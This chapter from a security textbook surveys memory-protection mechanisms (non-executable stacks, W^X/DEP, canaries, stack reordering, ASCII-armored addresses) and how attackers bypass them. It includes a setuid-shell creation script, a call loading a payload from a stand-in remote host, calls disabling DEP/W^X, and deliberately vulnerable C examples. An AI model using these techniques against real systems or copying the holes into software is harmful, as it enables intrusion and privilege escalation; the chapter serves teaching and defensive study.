CHAPTER

14

Protection Mechanisms

With the rise of code execution bugs and exploitation, operating system vendors started adding general protection mechanisms to protect their users. All of these mechanisms (with the exception of code auditing) try to reduce the possibility of a successful exploit but don't make the vulnerability disappear, hence, every minor glitch in the protection mechanisms could be leveraged to re-gain code execution.

This chapter first describes the generalities of the most common mechanisms, and then talks about the specifics of each operating system. It also presents some weaknesses in the protections and what would be needed to bypass them.

Protections

Throughout the chapter there is the need to show different stack layouts as different protections are applied. The following is the C code used as an example:

```
#include <stdio.h>
#include <string.h>

int function(char *arg) {
   int var1;
   char buf[80];
   int var2;
```

```
    printf("arg:%p var1:%x var2:%x buf:%x\n", &var1, &var2, buf);
    strcpy(buf, arg);
}

int main(int c, char **v) {
  function(v[1]);
}
```

The standard stack layout, without any protections or optimizations, looks like the following.

↑ Lower addresses

`var2`	4 bytes
`buf`	80 bytes
`var1`	4 bytes
`saved ebp`	4 bytes
`return address`	4 bytes
`arg`	4 bytes

↓ Higher addresses

Note that the chapter uses the same convention as every known debugger: lower addresses are shown higher up the page.

Non-Executable Stack

A very common class of security bugs, even today, is the stack-based buffer overflow, and the most common way to exploit them is (or was) to place code in the stack, in the same buffer that was overflowed, overwrite a return address, and jump to it. By making the stack non-executable, this exploitation technique is rendered useless.

A non-executable stack (*nx-stack* for short) for DEC's Digital Unix on Alpha was mentioned in bugtraq in August 1996 (`http://marc.info?m=87602167419750`), although it may have not existed until February 1999 (`http://marc.info?m=91954716313516`), this probably motivated Casper Dik to create and publish an incredible shell script that patched the kernel at run-time to implement nx-stacks for Solaris 2.4/2.5/2.5.1 in November 19, 1996 (`http://seclists.org/bugtraq/1996/Nov/0057.html`). Later, Solar Designer released his first patch for Linux on April 12, 1997 (`http://marc.info?m=87602167420762`). However, these implementations were not the first, by far, as we'll see in the next section.

Non-executable stacks were not accepted in the Intel world for a long time, but today you can find this feature enabled by default in most Linux distributions, OpenBSD, Mac OS X, Solaris, Windows, and some others.

Almost immediately after their conception, several techniques were created to bypass the *nx-stack* mechanisms. All of them rely on a very simple fact: with only the stack marked as non-executable, code can be executed everywhere else, and furthermore, overwriting the return address is still a valid and hard-to-detect means of seizing the execution flow of a vulnerable application.

A technique originally known as *return-into-libc* (or *ret2libc* for short) opened the door for exploiting stack-based buffer overflows in nx-stacks. ret2libc was later improved into *ret2plt*, *ret2strcpy*, *ret2gets*, *ret2syscall*, *ret2data*, *ret2text*, *ret2code*, *ret2dl-resolve*, and *chained ret2code* or *chained ret2libc* techniques.

Tim Newsham obviously had a good number of these ideas in mind when he first posted on this subject in April 27, 1997 (`http://marc.info?m=87602167420860`)—even before an nx-stack for Linux existed—but it took some time before the first concrete examples and explanations started to surface:

- **ret2data:** A very straightforward approach to bypass nx-stack is to place the injected code/egg/shellcode in the data section and use the corrupted return address to jump to it. Of course, when the overflowed buffer is on the stack, the attacker needs to find an alternative way of placing the code in memory, but there are several ways of doing this, as, for example, buffered I/O uses the heap to store data.
- **ret2libc:** Explained by Solar Designer on August 10, 1997, in an email to bugtraq (`http://marc.info?m=87602746719512`). The idea is to use the return address to jump directly to code in `libc`, for example, `system()` on Unix, or `WinExec()` or, as David Litchfield pointed out (`http://www.ngssoftware.com/research/papers/xpms.pdf`), `LoadLibraryA()` on Windows. In a stack-based buffer overflow the attacker can control a complete stack frame, including the return address and what would become the arguments for the function returned, too, so it's possible to call any given function in `libc` with attacker chosen arguments. The main limitation is the range of valid characters (for example, quite often `'\x00'` can't be injected).
- **ret2strcpy:** Publicly introduced by Rafal Wojtczuk on January 30, 1998 (`http://marc.info?m=88645450313378`). Although this technique is also based on ret2libc, it gives the attacker the ability to run arbitrary code. The simple, yet brilliant idea, is to return to `strcpy()` with an `src` parameter pointing to the code in the stack buffer (or anywhere else in memory) and a `dst` parameter pointing to the chosen writable and executable memory address. By controlling the complete stack frame the attacker

can control where `strcpy()` will return, and hence jump to the memory address where the code has just been copied to with `strcpy()`, and *voila*: arbitrary code execution. Of course the same can be achieved with any other suitable function, like `sprintf()`, `memcpy()`, and so on.

↑ Lower addresses

`&strcpy`	4 bytes	Aligned with overwritten return address
`dest_ret`	4 bytes	Where to go after `strcpy()`
`dest`	4 bytes	A known writable and executable location
`src`	4 bytes	Must point to injected code

↓ Higher addresses

Although it may seem that an exact pointer to the code is necessary to pass as source argument, a zero-less `nops` *cushion* will let you successfully execute code with just an approximated address.

You can see an example ret2strcpy exploit for Windows in section "Exploiting Buffer Overflows and Non-Executable Stacks" in Chapter 8.

- **ret2gets:** Ariel Futoransky's favorite method, very similar to ret2strcpy, but much more reliable with the right conditions, because it doesn't require any other argument than the address of the writable and executable memory where the injected code is going to be placed.

  Of course, as `gets()` reads from `stdin`, you must be able to control the application's input, but this is trivial for most local exploits and some remotes, especially for applications started through `inetd` or something similar.

  Other possibilities are `read()`, `recv()`, `recvfrom()`, and so on. Although you would have to accurately guess the file descriptor argument, the `count` could be happily ignored if it's big enough.

↑ Lower addresses

`&gets`	4 bytes	Aligned with overwritten return address
`dest`	4 bytes	Where to go after `gets()`
`dest`	4 bytes	A known writable and executable location

↓ Higher addresses

- **ret2code:** This is just a generic name to designate all the different ways of leveraging code that's already existing in the application. It may be some "real" code in the application that may be of interest to an attacker, or just fragments of existing code, like in all the other cases explained here.

- **chained ret2code:** Also known as *chained ret2libc*. This idea was floating around, and actually used in its simple form to do ret2syscall in 1997, but was first publicly demonstrated in its full potential by John McDonald in March 3, 1999 (`http://marc.info?m=92047779607046`), in a real exploit for Solaris on SPARC; later by Tim Newsham in May 6, 2000 (`http://seclists.org/bugtraq/2000/May/0090.html`), in an exploit for Solaris on x86; and further refined and explained for Linux by Rafal Wojtczuk in December 27, 2001, in a Phrack article (`http://phrack.org/archives/58/p58-0x04`).

  There are four techniques to achieve chained ret2code in Intel x86:

  - The first somehow moves the stack pointer to a user-controllable buffer, as Tim Newsham's exploit did.
  - The second technique involves fixing the stack pointer after every function returns, for example, using a sequence like `pop-pop-pop-pop-ret`.
  - The third option is only possible when returning into functions implemented using `pascal` or `stdcall` calling conventions, like used in Windows. For these calling conventions, the callee will fix the stack on return, leaving it perfectly ready to perform the next chained call. This form of chained ret2code is very simple to use and really offers a wide range of possibilities.
  - The last technique for *chained re2code* is John McDonald's technique for SPARC, which although heavily dependent on SPARC features, is somehow related to the third technique just described.

- **ret2syscall:** Introduced and explained in April 28, 1997, by Tim Newsham in his bugtraq post already mentioned (`http://marc.info/?m=87602167420860`). For systems where system call arguments go in registers, like Linux, it's necessary to find two different fragments of code and chain them together. The first one has to `pop` all the needed registers from the stack, and then return:

  ```
  pop eax
  pop ebx
  pop ecx
  ret
  ```

  The second fragment will simply issue a system call. By controlling the stack, the attacker controls the popped registers. Similar to ret2strcpy, the return address from the first fragment must be set so it returns to the second and executes the system call.

On other operating systems, where system call arguments are passed in the stack, the chain to call is much simpler. The first code fragment will only need to set a single register (for example, for Windows, OpenBSD, FreeBSD, Solaris/x86, and Mac OSX, `eax` must be set to the system call number), while the second fragment must still only issue a system call.

Although on Windows it's possible to write code using only system calls, as explained by Piotr Bania in his article on August 4, 2005, "Windows Syscall Shellcode" (`http://www.securityfocus.com/infocus/1844`), it's still to be demonstrated that it's possible to do it in a ret2syscall fashion.

- **ret2text:** This is a general name for all methods jumping into the `.text` section (code section) of the executable binary itself. ret2plt and ret2dl-resolve are two specific examples of it. ret2text attacks will become increasingly important with the addition of other protections like W^X and ASLR, as we'll see in the following sections.

- **ret2plt:** Explained by Rafal Wojtczuk on January 30, 1998 (`http://marc.info?m=88645450313378`). To protect against ret2libc, on August 10, 1997, Solar Designer introduced the idea of moving libraries to what's known as the *ASCII Armored Address Space (AAAS)* (`http://marc.info?m=87602746719512`), where memory addresses contain a `'\x00'` (for example, `0x00110000`), preventing ret2libc in the case of overflows generated with `strcpy()`.

  ret2plt uses the *Procedure Linkage Table* (PLT) of a binary to indirectly call `libc` functions. The PLT is a jump table, with an entry for every library function used by the program, and is present in the memory space for every dynamically linked ELF executable, which are not relocated to the AAAS.

  The main limitation of this technique is that it can call only functions originally used by the exploited binary, as otherwise there won't be a PLT entry.

  ↑ Lower addresses

`&strcpy@plt`	4 bytes	Address of `strcpy`'s PLT entry
`dest_ret`	4 bytes	Where to go after `strcpy()`
`dest`	4 bytes	A known writable and executable location
`src`	4 bytes	Must point to injected code

  ↓ Higher addresses

- **ret2dl-resolve:** Again, Rafal Wojtczuk, in the aforementioned *Phrack* article, also explains how to return into the code for ELF's dynamic linker's resolver (`ld.so`), to perform ret2plt attacks using library functions that are not used by the binary.

- When an ELF binary is executed, unless `LD_BIND_NOW` is specified, all its PLT entries point to code that dynamically resolves the address for the called function, updates some information so the second time there's no need to resolve the symbol again, and then calls the function. The entry point for all this logic is a single function (`dl_linux_resolve()` on Linux, `_dl_bind_start()` on OpenBSD and FreeBSD), which can be abused to call any function in any dynamic library, using a single extra argument.
- It is not straightforward to compute the argument for these functions, but, as Rafal demonstrated, it's absolutely feasible. You can read his article to further understand how to perform this technique.

As we already said, the nx-stack has two main weaknesses as a protection mechanism: It still allows the return address to be abused to divert the execution flow to an arbitrary location, and, by itself, it neither prevents the execution of code already present in a process's memory, nor prevents the execution of code injected in other data areas. The next sections show how different protection technologies attempt to solve these other cases.

W^X (Either Writable or Executable) Memory

This is a logical extension of non-executable stacks and consists of making writable memory non-executable and executable memory non-writable. With W^X it's theoretically impossible to inject foreign code in a vulnerable program. However, all the methods described in the previous section except ret2data, ret2strcpy, and ret2gets will succeed against a system protected only with W^X.

The name *W^X* (W xor X) was coined by OpenBSD's founder and main architect Theo de Raadt, though there were previous implementations of this protection. You need to go back as far as 1972 (or probably earlier) to find the first implementation of W^X. Multics based on the GE-645 had support for setting whether the memory segments were readable, writable, and executable, and the hardware protection was used in the system. Two very good papers, describing security features, vulnerabilities, exploits, and backdoors for Multics, became available after they had been declassified: "Multics Security Evaluation: Vulnerability Analysis" by Paul Karger and Roger Schell, June 1974 (`http://csrc.nist.gov/publications/history/karg74.pdf`) and "Thirty Years Later: Lessons from the Multics Security Evaluation" by the same authors, December 2002 (`http://www.acsac.org/2002/papers/classic-multics.pdf`).

In the modern era, and after all this was probably forgotten by the majority, we have to go back to Casper Dik's non-executable patch from 1996, which not only made the stack non-executable, but also the bss section. There are a good number of different implementations of W^X, but probably the first to make a difference was implemented by pipacs as a Linux modification called PaX, released on October 28, 2000 (`http://marc.info?m=97288542204811`). It was originally implemented only for Intel x86 hardware, but is currently officially supported by the grsecurity team for Linux on x86, sparc, sparc64, alpha, parisc, amd64, ia64, and ppc.

PaX was the first implementation to prove that, contrary to popular belief, it was possible to implement non-executable memory pages on Intel x86 hardware. However, although the technique worked, it was later changed for a more conservative implementation.

PaX was never included in mainstream Linux distributions, most likely for performance, maintainability, and other non-security reasons, although today most distributions have some sort of W^X.

In September 2003 AMD introduced real on-chip support for non-executable memory pages as a feature they called "NX" (Non-eXecutable); Intel was soon to follow with a very similar feature called "ED" (Execute Disable). Only a few months later, there were Linux patches taking advantage of it, and soon Microsoft released Service Pack 2 for Windows XP, introducing Data Execution Prevention (DEP), which benefited from the NX bit.

WINDOWS W^X IS OPT IN BY DEFAULT

With the introduction of SP2 for Windows XP and SP1 for Windows 2003, Microsoft shipped what it called Data Execution Prevention (DEP). Understanding it, and its default configuration, is key to understanding which exploitation techniques can be used in a given scenario.

DEP is usually split into two different components: the hardware implementation and the software implementation. However, it's really composed of at least three different features: The software Safe Structured Exception Handling (SafeSEH) implementation, as explained in the section "Windows SEH Protections" later in the chapter; the hardware NX support for W^X; and some kind of software only W^X supports, also tied to exception dispatching and explained in the "Windows SEH Protections" section.

The SafeSEH Protections are always enabled for executable applications (EXEs) and dynamic libraries (DLLs) that were compiled using Visual Studio's `/SafeSEH` **switch. There's no global option to disable these protections, and there's no way to enable them for applications that were not compiled using the switch (like most third-party and legacy applications on the market today).**

On 64-bit architectures, hardware-supported DEP and W^X are always enabled for every application, and according to official documentation, they can't be disabled.

For 32-bit systems the W^X protections, both by hardware and software, are controlled by the same set of options and can be globally disabled, enabled, or selectively enabled or disabled for specific applications. As described in

`http://www.microsoft.com/technet/security/prodtech/windowsxp/depcnfxp.mspx`**, by default, W^X is only enabled for specific Windows system components and services, and disabled for all other applications.**

From an attacker's perspective, the default configuration means that, unless he's targeting one of the specifically protected Windows applications, he will be able to run code in data sections, including heap and stack, both in systems with and without hardware NX support. Even in a configuration where DEP is enabled for every process by default, some processes opt out. For example, the Mozilla Thunderbird email client opts out of DEP at runtime.

When properly implemented, W^X is a very efficient protection against foreign code injection attacks; however, this doesn't mean it's the end of code execution exploits.

In the case of a stack-based buffer overflow, the use of chained ret2code should be enough to perform most attacks, but it's still interesting to study if arbitrary code execution by foreign code injection is really impossible or not with W^X. First, some questions need to be answered:

- **Is there code in the application that does just what we need?** If so, a simple ret2code is enough.
- **Is there anything left W+X (writable and executable)?** If yes, ret2strcpy or ret2gets may be enough.
- **How complicated is it to use chained ret2code to** `write()` **an executable file to disk and then** `execv()` **it?**

  The pointer to the filename is not really important, as any filename will probably be good. You do need a pointer, however, for the executable image to write to the file, which should be sent as part of the attack. Then you have call `setuid(0)`, `open()`, `write()`, `close()`, `system()`/`execve()`/... all chained, and more importantly, passing the file descriptor returned by `open()` to `write()` and `close()`, which may be a little bit complicated. To solve this sometimes you can reliably guess the file descriptor or use `dup2()`, chaining the return value from `open()` a single time and selecting a fixed file descriptor as the target. In essence, you need to achieve through chained ret2code what in C would look like this:

  ```
  setuid(0);
  dup2(open("filename",O_RDWR | O_CREAT, 0755), 123);
  write(123, &executable_image, sizeof(executable_image));
  close(123);
  system("filename");
  ```

  Although this approach is technically possible, we probably need to chain too many calls, need to put some zeros in the arguments, and need the exact addresses of some functions and the address of the image file. This is likely to be a little too complex. To solve the last of the problems, a *cushion solution* may be possible, for example, using a shell script that looks like:

```
#!/bin/sh
#!/bin/sh
#!/bin/sh
#!/bin/sh
...
#!/bin/sh
#!/bin/sh
#!/bin/sh
#!/bin/sh
id
cp /bin/sh /tmp/suidsh
chmod 4755 /tmp/suidsh
```

The main idea here is that the repeated pattern serves as a *cushion*, and you don't need to guess the perfect address for the executable image. You can fill the target's memory as much as possible with the pattern and hit any of the "`#!/bin/sh`". Of course, this is not the only possible cushion solution.

On Windows the chain to be called is shorter and simpler, because no argument needs to be passed around:

```
RevertToSelf();
```

Or if it's fine to execute code in the same process as the exploited application, a single call may be enough:

```
LoadLibraryA("\\example.com\payload.exe");
```

If none of the ret2code options is useful in a given exploit, there may still be possibilities to execute injected code:

- **Is there a way to turn the protection off?**

  On Windows, up to Vista at least, it's possible to disable the NX checks in a per process base with a single library call:

```
ZwSetInformationProcess(-1, 22, "\x32\x00\x00\x00", 4);
```

  This single call will set the `ExecuteOptions` in the kernel process object, as described by Ben Nagy from eEye (`http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html`), to allow code execution anywhere in process memory. This has been tested by the author, with and without hardware NX support.

The third value in the call must be a pointer to an integer; its only requirements are that bit 1 is set and bits 7–15 are clear. This gives you lots of choices, and, for example, a simple way to do it, reusing the `MZ` header in memory as a known source of bytes, would be:

```
ZwSetInformationProcess(-1, 0x22, 0x400004 4);
```

If the `NUL` bytes from `0x400004` are not good for your exploit, you could choose the `MZ` header of another binary in memory, but you'd still have problems, because the other arguments must also contain zeros.

The stack layout for a ret2ntdll attack to unprotect the whole process would look like the following.

↑ Lower addresses

`0x7c90e62d`	4 bytes	`&ZwSetInformationProcess` in XP SP2
`&code`	4 bytes	Where to go after unprotecting the memory
`0xffffffff`	4 bytes	
`0x22`	4 bytes	
`0x400004`	4 bytes	
`4`	4 bytes	

↓ Higher addresses

An alternative would be to find the exact code needed to disable the protections in `ntdll.dll`. If the right conditions are given, returning to `0x7c92d3fa`, or close to it, may be enough to disable the protection and then jump somewhere else.

A better snippet of code is present in Windows Vista, but as the addresses for DLLs are randomized, it may be less useful (see the code at `_LdrpCheckNXCompatibility@4+45c85`).

- **Can a specific memory region be changed from W^X to W+X?** In that case, you can do a small chained ret2code to mark it as executable and then jump to it.

  In Windows it's possible to make something W+X:

  ```
  VirtualProtect(addr, size, 0x40, writable_address);
  ```

  where the address we want to turn executable must be on a page touched by the range specified by `addr` and `size`. It doesn't matter if the range crosses different memory sections, as long as it's all already mapped in memory.

On OpenBSD it's also possible to turn a memory area into W+X. In this case, a call to `mprotect()` is in order:

```
mprotect(addr, size, 7);
```

On the Intel x86 platform OpenBSD up to 4.1 uses segment limits to mark non-executable memory, as opposed to using the newer NX/PAE extensions. In this setting, the only way to make something executable is to make everything mapped on lower memory addresses also executable; hence, the following code will turn off W^X for the whole memory of the process:

```
mprotect(0xcfbf0101, 0x0fffffff, 7);
```

Note that it's not strictly necessary to have a W+X section, as depending on the used code, it may be enough to remove the write permissions when making it executable. This latter case is what we call *X after W* in contrast to W+X. There may be other implementations where X after W is permitted, but W+X is not.

On Linux, if PaX is installed, this technique doesn't work. PaX doesn't allow, at all, a page to be W+X, nor X after W. However, if Red Hat's ExecShield is installed, a similar approach to that of the OpenBSD technique can be used.

Linux's kernel is more restrictive when it comes to `mprotect()`ing non-existing regions, and a valid address, properly aligned to 4k, must be supplied to `mprotect()`. A similar approach is to `mmap()` an executable page at the top of the memory:

```
mmap(0xbffff000, 0x1000, 7, 0x32, 0, 0);
```

The arguments for `mmap()` don't necessarily have to be so strict. For example, the file descriptor argument doesn't really matter, the size doesn't have to be a multiple of 4k, the offset can be any 4k multiple, and so on.

It may be the case that only a few sections can be made X after W. In these situations, you'll first have to copy the code to the writable section, then make it executable, and finally jump to it. This will require an extra first step similar to a ret2strcpy or ret2gets, resulting in what we could describe as strcpy-mprotect-code.

- **If no existing memory address can be made W+X, can we create a new W+X region?**

  Again, if PaX is installed, this is impossible, but on any other implementation, including Windows, Linux, and OpenBSD, it's possible to accomplish. On Windows `VirtualAlloc()` must be used; on Unix, `mmap()`. After allocating a W+X section, you will want to copy your injected code into it, and finally jump there, so you'll have to use a chained ret2code approach with two complete function calls, and finally return to the injected code. You can note it as mmap-strcpy-code.

All these options require the control of at least a stack frame, trivial to gain with a stack-based buffer overflow but not so easy (when possible) in the case of something else like a heap-based buffer overflow or a format string bug. When the execution flow is hooked through a function pointer overwrite of some kind, it's not trivial to find a way to control the arguments for the chosen functions. Again, if suitable code is already present, you can just jump to it. But if you need to control the arguments for the called function, there are not many possibilities left.

Choosing the right function pointer may be the only option left. As an example, if you overwrite the GOT entry for free, free may be called with a pointer to your buffer. If you can find the right combination of bytes, you will be able to control a frame and achieve *chained ret2code*:

```
pop eax
pop ebp
mov esp, ebp     # leave
pop ebp
ret
```

In this example, the first `pop` takes the return address from the stack and the second takes the argument for the function, which in the case of `free()` is pointing to your buffer. This pointer is put in the stack pointer, and from there, you control the stack. This is not a very common construct, and it's quite unlikely to be present in a process's memory, but it opens the mind to other possibilities. For example, if more than a single function pointer can be controlled, you can choose to overwrite two function pointers that will be called one after the other (think import tables). You could use the first to set some registers and the second to set up the frame pointer for the *chained ret2code* attack.

Finding a general solution to turn a *function pointer overwrite* into a *chained ret2code* or even a simpler *ret2libc* attack is still an open question and a very interesting problem to solve for fun!

Stack Data Protection

Stack-based buffer overflows were for a long time the most common security vulnerability and the most easily exploited. At the same time, they give the attacker lots of possibilities to play with, as explained in the previous section.

For this reason, several protection mechanisms were conceived to prevent the exploitation of stack-based buffer overflows. This section presents a very common protection mechanism, which by itself may not be enough, but which is a key component of a complete protection system.

Canaries

The name *canary* comes from miners. They used to take a bird with them down a mine to know when they were running out of oxygen: the bird, being more sensitive, died first, giving the miner time to escape. This is a good metaphor to introduce the concept.

In this specialized subject, canaries (or *cookies*) are typically 32-bit values placed somewhere between buffers and sensitive information. In the event of a buffer overflow, these canaries get overwritten on the way to corrupting the sensitive information, and the application can detect the change and know if the sensitive information was corrupted before accessing it.

The initial ideas in this area come from StackGuard, first presented by Crispin Cowan in December 18, 1997 (`http://marc.info?m=88255929032288`), and then greatly improved by Hiroaki Etoh when he released ProPolice in June 19, 2000 (`http://www.trl.ibm.com/projects/security/ssp`). ProPolice was also named SSP (Stack-Smashing Protector), and now it's known as GCC's Stack-Smashing Protector, or simply stack-protector. It was finally included in mainstream GCC version 4.1 after it was reimplemented in a more GCC-aware form.

At the time StackGuard was first released, most stack-based buffer overflows were exploited by overwriting the saved return address; hence the original idea was to protect just the saved return address. Tim Newsham immediately proved StackGuard to be ineffective when other local variables contain sensible information (`http://seclists.org/bugtraq/1997/Dec/0123.html`). These problems were never fixed in StackGuard, and five years later, in April 2002, Gerardo Richarte showed how StackGuard could be bypassed in the most common situations (`http://www.coresecurity.com/files/attachments/Richarte_Stackguard_2002.pdf`), mainly because it didn't protect other local variables, function arguments, or, more importantly, the saved frame pointer and other registers. Although at that time a new version was promised, StackGuard was never fixed, and today it's been superseded by ProPolice and Visual Studio's `/GS` protection.

The first type of canary used was the *NUL canary*, consisting of all zeros (`0x00000000`), but it was soon replaced by the *terminator canary* (`0x000aff0d`), which includes `'\x00'` to stop `strcpy()` and cousins, `'\x0d'` and `'\x0a'` to stop `gets()` and friends, and `'\xff'` (`EOF`) for some other functions and some hardcoded loops.

For any of the terminator canaries the trick is that if the attacker tries to overwrite the canary with the original value, the string functions will stop writing data into the buffer and what's after the buffer will not be corrupted.

A third type of canary is the *random canary*, which, as its name suggests, is randomly generated, and would have to be read from memory, altered, or just predicted by the attacker to perform a successful attack.

In the next stack layout you can see how StackGuard does not protect `var1` and the saved frame pointer (`ebp` for Intel). The most general attack scenario known is to overwrite the frame pointer to control the complete stack frame as seen by the calling function, including its variables, arguments, and return address. In this case it's possible to hook the execution flow on the second return, pretty much like for Solaris's basic stack-based buffer overflow exploitation. If the stack is executable, directly jumping to it is an option; otherwise, it's possible to perform a chained ret2code attack, even when the application was protected with StackGuard.

↑ Lower addresses

`var2`	4 bytes
`buf`	80 bytes
`var1`	4 bytes
`saved ebp`	4 bytes
`canary`	4 bytes
`return address`	4 bytes
`arg`	4 bytes

↓ Higher addresses

For a more complete description of StackGuard and how to bypass it, you should read Richarte's article.

Canaries that only protect the return address hardly exist today, and with that said, it's time to move into the next section.

Ideal Stack Layout

To protect other sensitive information that may be stored after the vulnerable buffer, there are, at least, two different ways to go. You could add a canary right after each buffer, and verify if it was altered every time before accessing any other data stored after it, or you could move the sensitive data out of the way of the buffer overflow by re-ordering local variables on the stack.

Although the former could be implemented as a compiler modification, it was never mentioned or studied as a possibility (as far as we are aware), probably because of its performance impact. The latter, however, was first mentioned as a side effect of compiler optimizations by Theo de Raadt in December 19, 1997 (`http://seclists.org/bugtraq/1997/Dec/0128.html`), and actually presented and implemented as an intentional protection mechanism by Hiroaki Etoh when he released ProPolice in June 19, 2000 (`http://www.trl.ibm.com/projects/security/ssp/main.html`). The very same ideas were later slowly introduced in Microsoft's Visual Studio in what's known as the `/GS` feature.

ProPolice reorders data stored in the stack into what's called *ideal stack layout*. It places local buffers at the end of the stack frame, relocating other local variables before them. It also copies the arguments into local variables, which are also relocated. It does not relocate registers saved on function entry (including frame pointer) or the return address, but it does put a canary in the right place to protect them.

The following stack layout is the result of compiling the example program with ProPolice (`-fstack-protector` option on modern GCCs). Just as an extra test, optimizations (`-O4` option) are also turned on, as in the past ProPolice was optimized out and effectively disabled.

↑ Lower addresses

`arg copy`	4 bytes
`var2`	4 bytes
`var1`	4 bytes
`buf`	80 bytes
`canary`	4 bytes
saved `ebx`	4 bytes
saved `ebp`	4 bytes
return address	4 bytes
`arg` (not used)	4 bytes

↓ Higher addresses

You can see in the preceding diagram how `var1`, `var2`, and `arg`'s copy are out of the way of an overflow on `buf`, and although the saved `ebp`, `ebx`, and *return address* can be overwritten, the canary is checked before accessing them, so you can be sure that the information is either not reachable or only accessed after checking the canary.

There has been much debate about how much protection technologies degrade the performance of the protected application. In response to this, both ProPolice and Visual Studio decided to carefully evaluate which functions to protect and which to leave unprotected. Furthermore, Visual Studio also copies only what they call *vulnerable arguments* (`http://blogs.msdn.com/branbray/archive/2003/11/11/51012.aspx`), leaving the rest unprotected. This decision mechanism may be too strict, leaving some vulnerable functions unprotected.

At the same time, even if these selection mechanisms were not in place and every function and every argument were protected, there are still a few places where an *ideal stack layout* doesn't really exist:

- In a function with several local buffers, all are placed one after the other in the stack, so it's possible to overflow from one buffer into the next. The reach of this scenario depends on what the affected buffer means to the application, as with every other data corruption attack. For instance, this may turn a buffer overflow into a (more flexible) format string, like for dhcpd's vulnerability CVE-2004-0460.
- Structure members can't be rearranged for interoperability issues; hence, when they contain a buffer, this buffer will stay in the location defined by the `struct`'s or `class`'s declaration, and all fields defined after it could be controlled in the case of a buffer overflow.
- Some structures, like arrays of pointers or objects other than `char`s, could be either overflowed or treated as sensitive information, depending on the semantics of the application. It's not easy (and may be impossible) to make an algorithm that could decide whether they should be moved to the safe side of the stack frame or left in the dangerous area.
- On functions with a variable number of arguments, the number of variable arguments can't be known in advance, so they have to be left in the reachable zone, unprotected from buffer overflows.
- Buffers dynamically created on the stack using `alloca()` will inevitably be placed on top of the stack frame, putting in danger all other local variables. The same goes for runtime-sized local buffers, as permitted by GCC's extensions to C, like in the next example:

```
#include <stdio.h>

typedef int(*fptr)(const char *);

vulnerable_function(char *msg, int size, fptr logger) {
  char buf[size+10];

  sprintf(buf, "Message: %s", msg);
  logger(buf);
}
```

```
int main(int c, char **v) {
  vulnerable_function(v[1], 80, puts);
}
```

With what has just been described, you could almost close stack-based buffer overflows, and treat them as a solved problem; however, as usual, you need to ask yourself "The Real Question":

Is there anything after the vulnerable buffer that, if corrupted, could give an attacker any advantage?

Usually, the immediate answer is the return address, or otherwise, the frame pointer, local variables, function arguments, or other registers saved on function entry. But all these are protected with ProPolice and Visual Studio's `/GS` feature (I wish the latter had a shorter name!). So, is actually anything left after the buffer that could be of any use to an attacker? The answer is obviously, "Yes!" There's always something after the buffer.

Specifically on 32-bit Windows, it's very well known that the *Exception Registration Record* is stored in the stack, and although in later versions of Visual Studio it's been relocated to the safe side, the Exception Registration Records for calling functions are still reachable and will be called if the exception handler for the vulnerable function doesn't handle the generated exception. More information about this is available in Chapter 8.

Moving out of Windows and into the general case, there's still information left in the stack that may be used before the vulnerable function returns: local variables of other functions that are directly or indirectly passed through pointers to the vulnerable function. In these cases the cookie is only checked on function exit, but the arguments are used inside the function, and you get the chance to indirectly control the arguments.

This code construct is very common in C++ applications. Study the following example:

```
#include <stdio.h>

class AClass {
public:
   virtual int some_virtual_function() { return 1; }
};

int a_vulnerable_function(AClass &arg) {
  char buf[80];

  gets(buf);
  return printf("%d\n", arg.some_virtual_function());
}

int main() {
   AClass anInstance;
```

```
    return a_vulnerable_function(anInstance);
}
```

The stack layout for this program, when it's executing `a_vulnerable_function()`, looks like this:

↑ Lower addresses

`arg copy`	4 bytes	
`buf`	80 bytes	
`canary`	4 bytes	
saved `ebp`	4 bytes	
return address	4 bytes	
`arg` (not used)	4 bytes	
`anInstance`	4 bytes	← `main()`'s frame starts here.
saved `ebp`	4 bytes	
return address	4 bytes	
`argc`	4 bytes	
`argv`	4 bytes	
`envp`	4 bytes	

↓ Higher addresses

Here you can see that `anInstance` is stored in the local storage for `main()`, which is placed after `buf` (and after `canary`, too). Although `arg` is copied to the safe side of the buffer, what it's pointing to is not. And although the canary is altered, it's not checked until the function finishes, which is obviously too late to verify the integrity of the function's arguments.

A more subtle example—and even more common—is the following, where there's apparently no argument passed to the vulnerable function; however, in C++, the "this" pointer is always passed as an implicit argument to called methods, and in this case, this is actually `anInstance` and is stored in the local storage for main, right after the buffer.

```
#include <iostream>

class AClass {
public:
    virtual int some_virtual_function() { return 1; }
    void a_vulnerable_function() {
        char buf[80];

        std::cin >> buf;   // gets() is just the same
        some_virtual_function();
    }
};

int main() {
   AClass anInstance;

   anInstance.a_vulnerable_function();
}
```

NOTE As a side note, it's interesting that GCC doesn't warn about the insecure use of `std::cin`, as compared to the warning issued when `gets()` is used. You may be wondering who would mix C and C++ so much. A quick and dirty search for "`char buf[`" "`cin >> buf`" in Google's `/codesearch` will quickly answer the question.

Another much less common, but far more discussed incarnation of this vulnerability is when the application uses GCC function trampolines placed on the stack. *Trampolines* are small pieces of code that need to be created at runtime. Their sole mission is to be passed as arguments to called functions, presenting exactly the same weakness as the just presented example. They are very rarely used, so it's very unlikely you'll find them while coding an exploit.

Stack data protections, when properly implemented, are quite effective and important, especially when, due to the presence of W^X, one of the few possibilities left are ret2code attacks. When a function is protected with a canary, it's not only protected from a buffer overflow, but it's also very difficult to use it in a chained ret2code attack, because the canary check would fail when the fake stack frame is used. From a security standpoint, it does make a difference whether every function is protected or only a few are.

AAAS: ASCII Armored Address Space

As already mentioned previously in the section on non-executable stack protections, ret2libc is a real possibility to bypass non-executable stacks. As a solution, Solar Designer implemented a patch to the Linux kernel that loaded all shared libraries in memory addresses beginning with a `NUL` byte (`'\x00'`). Originally he chose the range starting at `0x00001000` (`http://marc.info?m=87602566319532`), but he soon moved to a safer lower limit of `0x00110000` due to an incompatibility with programs using VM86 like dosemu (`http://marc.info?m=87602566319543` and `http://marc.info?m=87602566319597`). The idea was quite likely an improvement over an idea posted by Ingo Molnar the previous day (`http://marc.info?m=87602566319467`).

String functions like `strcpy()` will stop copying data at the `NUL` byte; hence an attacker will only be able to write a single `NUL` byte at the end of the overflowing string, pretty much like with terminator canaries.

NOTE It's worth bearing in mind that even before all of this AAAS discussion started, Windows executables were being loaded at 0x00400000, with a default stack at 0x0012xxxx, though this may have been more by accident than security-focused design.

On big-endian platforms AAAS is a stronger protection because the `NUL` byte goes first in memory and cuts the string operation before the return address can be corrupted further than the first byte. However, on little-endian platforms like Intel, the `NUL` byte goes last in memory, which lets you choose what library function to return to, even if the high order byte of its address is zero, because you can make use of the trailing "NUL" in your string.

